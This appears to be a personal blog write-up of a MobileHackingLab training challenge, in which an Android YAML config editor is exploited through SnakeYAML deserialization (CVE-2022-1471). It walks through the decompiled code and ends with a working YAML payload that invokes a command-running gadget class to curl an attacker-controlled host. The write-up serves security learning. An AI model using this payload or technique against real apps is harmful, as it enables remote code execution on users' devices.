September 30, 2026
CVE-2022–1471: Achieving RCE on Android with SnakeYAML via Custom Gadget Chains
Akwaaba! everyone. Another Android app exploit writeup. Read my previous exploits Android App RCE via Dynamic Code Loading and $3000 Deep…

By tinopreter
5 min read
Akwaaba! everyone. Another Android app exploit writeup. Read my previous exploits Android App RCE via Dynamic Code Loading and $3000 Deep Link Bug.
About the Vulnerable App
The application uses a vulnerable third-party configuration library that allows Remote Code Execution (RCE). By manipulating how the app interacts with this component, an attacker can trigger the flaw to achieve full code execution.
Upon first launch, the app requests storage read permissions before landing on the primary Editor interface. The Editor exposes two main functions: Load (to read and parse configuration files for editing) and Save (to write out the modified configuration).
A few noticeable things:
Not all file formats are accepted. YAML and TXT files can be opened but XML files throw errors. The stack trace reveals that SnakeYAML is used for parsing, which is further confirmed by its import in MainActivity.
Source Code Review
Reviewing the decompiled source reveals SnakeYAML imported directly within MainActivity.
Analyzing AndroidManifest.xml reveals read/write permissions for external storage alongside a single-activity architecture (MainActivity). The manifest defines <data> tags handling file, http, and https schemes alongside an explicit application/yaml MIME type, indicating support for deep linking.
MainActivity
Inspecting MainActivity, beyond standard storage permission handlers, the setButtonListeners() method defines the onClick event logic for the Load and Save actions.
Inside setButtonListeners(), the application initializes an ActivityResultLauncher using ActivityResultContracts.GetContent() rather than the standard StartActivityForResult. ActivityResultLauncheris commonly known for launching an activity that we expect a result from. This implementation delegates file selection directly to the system document picker.
$1,500 AI System Prompt leak in a bug bounty program I discovered.
Load Document
Clicking Load executes setButtonListeners$lambda$4, invoking GetContent() to prompt the user for a file. Once a document is selected, the system returns its Uri payload to setButtonListeners$lambda$3 for processing.
All File Types Can be Loaded
Examining setButtonListeners$lambda$4, the Load handler invokes getContent.launch("*/*"). Passing / as the MIME type opens the system picker without input filtering, allowing any file format to be selected.
Upon file selection, getContent() passes the returned Uri to setButtonListeners$lambda$3, which immediately forwards the payload to loadYaml() for processing.
Inside loadYaml(), the application opens the Uri via ParcelFileDescriptor and processes the stream using Yaml.load(). This deserializes the input into a live Java object before re-serializing it back into a string via Yaml.dump() to display in the main contentArea.
Save Modified Document
Returning to setButtonListeners(), the Save button mirrors this architecture using ActivityResultContracts.CreateDocument(). Clicking Save triggers setButtonListeners$lambda$7, launching the picker to create a file. Once a destination is specified, the system returns a target Uri to setButtonListeners$lambda$6 for output processing.
Inspecting setButtonListeners$lambda$7, the handler simply invokes createDocument.launch() to present the user with the native file creation interface.
Once a target destination is chosen, createDocument() passes the newly generated Uri to setButtonListeners$lambda$6, which forwards the file reference to saveYaml() to handle the write operation.
Inside saveYaml(), the app opens a write stream to the specified Uri and writes the string content from the contentArea textbox directly to disk. This completes the core application workflows.
Intent Redirection is one of the most common Android app bugs.
CVE-2022–1471
CVE-2022–1471 — there exists an RCE vulnerability in SnakeYAML < 2.x in how it loads a YAML file. Remember when a YAML file is loaded with Yaml.load(←user input →), it is converted into a Java Object.class which is a supertype of all Object. Because of the generic Object type, any object can be used which can lead to RCE via deserialization.
SnakeYAML uses the !! tag prefix to explicitly define Java class types during deserialization. For example, !!str forces the parser to cast a value as a string regardless of native type inference (e.g., numbers or booleans).
The !!java.* or !!javax.* are dangerous types that shouldn't be used with untrusted YAML. They are used to specifcy which class that a YAML node should be deserialized into. The below example tells snakeYAML to create a Java Data Object.
//create a java.util.Date Object
!!java.util.Date 2025-06-12T11:00:00Z//create a java.util.Date Object
!!java.util.Date 2025-06-12T11:00:00ZOn the internet, most writeups are asking you to use this payload for a GET request PoC:
Attempting a standard Java SE payload like ScriptEngineManager yields a ClassNotFoundException. Since Android's SDK lacks these native Java SE classes, achieving code execution depends on identifying alternative gadget chains within the app's imported libraries.
I got paid $2000 for this Web Cache Deception bug.
Identifying an Exploit Gadget
Going through the application source code reveals a custom utility class, LegacyCommandUtil. This class contains a method that accepts a string parameter and directly invokes Runtime.getRuntime().exec(). Because this method executes arbitrary operating system commands without sanitization, it serves as the reachable sink for our attack chain.
But before that we need to make sure the vulnerable app has permissions to make network requests.
Crafting an Exploit
We can now craft a custom YAML payload that uses the !! explicit tag notation to trigger LegacyCommandUtil. Passing an OS command string (such as curl) as an argument forces Runtime.getRuntime().exec() to execute our payload upon file loading.
!!com.mobilehackinglab.configeditory.LegacyCommandUtil ["curl http://192.168.x.x/"]!!com.mobilehackinglab.configeditory.LegacyCommandUtil ["curl http://192.168.x.x/"]
With our web server running, we get the curl request coming from the Android device.
Read how you can Exploit PendingIntent in Android Notifications
Certification
I submitted my full technical writeup and working exploit payload to MobileHackingLab. A few days later, the team validated the vulnerability report and issued my completion certificate.
GOOD RESOURCES THAT HELPED ME:
SnakeYaml Deserilization exploited | by Swapneil Kumar Dash | Medium
Panic!! At the YAML — GreyNoise Labs
Until next time…
Thanks for reading this, if you have any questions, you can DM me on X @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.